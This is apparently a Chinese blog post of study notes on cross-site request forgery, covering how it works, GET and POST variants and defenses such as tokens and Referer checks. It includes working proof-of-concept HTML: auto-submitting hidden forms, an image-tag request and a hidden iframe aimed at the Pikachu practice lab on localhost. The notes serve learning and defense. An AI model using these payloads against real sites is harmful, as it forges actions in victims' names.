CSRF 学习

目录

CSRF定义

CSRF能够做到的事

CSRF攻击关键

CSRF攻击流程(原理)

CSRF利用的前提条件

CSRF攻击方式

1.挟持用户

2.让用户执行非本意的操作。

CSRF漏洞的分类

1.GET CSRF

2.POST CSRF

CSRF 漏洞的防御

1.无效防御

2.有效防御


CSRF定义

        CSRF(Cross-Site Request Forgery)是跨站请求伪造,也常被称为 “OneClick Attack” 或者 “Session Riding”,通常缩写为 CSRF 或 XSRF,是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。

        可以理解为:攻击者盗用了你在某个网站的身份,以你的名义发送恶意请求或其他非法操作。

CSRF能够做到的事

        以受攻击者的名义:

                                        发邮件

                                        发消息

                                        财产操作,比如转账或购买商品

                                        新建文件夹。。。

                                        增删改查的操作都可以

                                        ……

CSRF攻击关键

        CSRF是一种欺骗受害者提交恶意请求的攻击,他继承了受害者的身份和特权,代表受害者执行非本意的,恶意的操作。

        对于大多数站点来说,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话Cookie,IP地址,Windows  域凭据等,因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送合法请求。

CSRF攻击流程(原理)

        

CSRF利用的前提条件

        要完成一次 CSRF 攻击,受害者必须要同时完成两个步骤:

                1.登录信任网站A,并在浏览器中保留相应的Cookie,且该Cookie未失效。

                2.在网站A给予的Cookie没有失效的情况下,用户访问危险网站 B.

         如果不满足以上两个条件的任意一个,就不会受到CSRF的攻击。

CSRF攻击方式

1.挟持用户

        其实攻击者不能挟持用户,但是可以在挟持用户的浏览器发送任意请求,并且往往是在用户没有意识的前提下。

        某些 Html 标签可以发送 HTTP GET 类型请求。例如:<img src="http://www.baidu.com" />

        浏览器渲染 img 标签的时候,并不知道 img 标签中的 src 属性值,到底是不是一个图片,浏览器做的就是根据 src 中的链接,发起一个 HTTP Get 请求,并携带上当前浏览器在目标网站上的凭证,也就是 Cookie ,获取返回结果并以图片的形式渲染。

        根据这个特性,可以挟持用户的浏览器携带用户凭证(Cookie)发送任意请求。

2.让用户执行非本意的操作。

        其实用户所有进行的操作,比如发送短消息,转账操作,用户只是操作的浏览器,而浏览器通过发送 HTTP 请求,才是真正的根 Web 应用程序交互的操作。

        用户浏览器发送出去的 HTTP 请求代表了用户的操作,可以通过抓包获取用户操作背后的 HTTP 请求,修改 HTTP 请求的相关参数后,挟持受害者发送修改后的 HTTP 请求,受害者在不知情的情况下完成了发送短消息或者转账等操作。

CSRF漏洞的分类

1.GET CSRF

CSRF 最初的一个错误观点,认为 CSRF 只能由 GET 请求发起,因此一些开发者认为只要把重要的操作改为只允许 POST 请求就能防 CSRF。

但对于很多网站来说,即使是一些重要的操作使用 POST 请求来提交,但是服务端在接受请求的时候未严格的区分 GET 和 POST ,攻击者依然可以用 GET 来请求表单的提交地址。

比如在 PHP 中,如果使用的是 $_REQUEST,而 $_REQUEST 既可以接受 GET 请求也可以接受 POST 请求。

页面需要和用户交互成功率低

改进:自动提交


<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
    <input type="hidden" name="sex" value="boy" />
    <input type="hidden" name="phonenum" value="00000000" />
    <input type="hidden" name="add" value="usa" />
    <input type="hidden" name="email" value="lucy&#64;qq&#46;com" />
    <input type="hidden" name="submit" value="submit" />
    <input id='button' type="submit" value="Submit request" style="display: none"/>
</form>
<script>
    document.getElementById("button").click();
</script>
</body>
</html>
改进:增加隐蔽性
      只需要更改 URL 中的参数即可达到目的。

<html>
<h1> 逗你玩 !</h1>
<img src="./Hack.jpg">
<br/>
<img src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=99999&add=usa&email=lucy%40pikachu.com&submit=submit" alt="惊不惊喜,意不意外 !">

</html>

2.POST CSRF

如果服务端已经区分了 GET 和 POST,只用 $_POST 来接收请求数据,最简单的方法就是在根据页面构造好一个 form 表单,然后用 Javascript 自动提交这个表单。

其余步骤同 GET

改进:自动提交

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
    <input type="hidden" name="sex" value="boy" />
    <input type="hidden" name="phonenum" value="xxxx" />
    <input type="hidden" name="add" value="usa" />
    <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" />
    <input type="hidden" name="submit" value="submit" />
    <input id="button" type="submit"  value="Submit request" style="display: none"/>
</form>
<script>
    document.getElementById("button").click();
</script>
</body>
</html>

改进:不跳转页面

<img src="这里放一个图片的url">
<iframe src="这里放自动提交文件的路径" width="0" height="0"></iframe>

是受害者访问此页面

CSRF 漏洞的防御

1.无效防御

很多防御方式都没有办法解决 CSRF 的问题。

1)使用秘密的 Cookie

        所有的 Cookie,即使是秘密的 Cookie,也会随着每一个请求一起提交。无论用户是否被欺骗提交请求,都将提交所有的身份验证口令,身份凭证。

2)仅接受 POST 请求

        可以开发应用程序以仅接受执行业务逻辑的 POST 请求。误解是由于攻击者无法构建恶意链接,因此无法执行 CSRF 攻击,不幸的是,这种逻辑不正确,有许多方法可以让攻击者提交伪造的 POST 请求,例如在隐藏值的攻击者网站中托管的简单表单,此表单可以由 Javascript 自动触发,也可以由认为表单会执行其他的操作的受害者触发。

3)多步交易 

        多部交易不足以预防 CSRF ,只要攻击者可以推测或推断出完整的事务的么个步骤,就可以实现 CSRF。

4)URL 重写

        这可能被视为一种有用的 CSRF 预防技术,因为攻击者无法猜测受害者的会话 ID ,但是,用户的会话 ID 在 URL 中公开,所有不建议通过引入另一个安全漏洞来修复一个安全漏洞。

5)HTTPS

        HTTPS 本身无法抵御 CSRF,但是,HTTPS 应被视为任何预防措施值等信赖的先决条件。

2.有效防御

1)验证 Referer 字段。

        根据 HTTP 协议,在 HTTP 头中有一个字段 Referer,它记录了该 HTTP 请求的来源地址。访问一个安全受限页面的请求必须来源于同一个网站。

        比如某用户在转账时,通过点击页面上的提交按钮进行转账操作,当用户提交请求时,该转账请求的 Referer 值就会是 提交按钮所在的页面的 URL ,而如果攻击者要对银行网站实施 CSRF 攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该页面的 Referer 值就会之攻击者自己的网站的 URL。因此要防御 CSRF 攻击,验证 Referer 字段是否合法,不失为一种方法。

2)添加 Token 验证

        CSRF 之所以能够攻击成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。由此可知,抵御 CSRF的关键在于:在请求中放入攻击者不能伪造的信息,并且该消息不存在于 Cookie 中。

        鉴于此,系统开发者可以在 HTTP 请求中以参数的形式加入一个随机产生的 token(随机字符串),并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

3)二次验证

        二次验证,就是在转账等关键操作之前提供当前用户的密码或者临时验证码。二次验证可以有效的防御 CSRF 攻击。

4)用户养成良好的习惯

        对于普通用户来说,都学习并具备网络安全知识以防御网络攻击是不现实的。但是若用户养成良好的上网习惯,则能很大程度上减少 CSRF 攻击的危害。

        例如:

                用户上网时,不要轻易点击网络论坛,聊天室,即时通讯工具或电子邮件中出现的链接或图片:

                及时退出长时间不使用的已登录账户,尤其是系统管理员,应尽量在登出系统的情况下点击未知链接或图片。

                除此之外,用户还需要在连接互联网的计算机上安装合适的完全防护软件,并及时更新软件厂商发布的特征库,以保证安全软件对最新攻击的实时跟踪。 

         

        

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值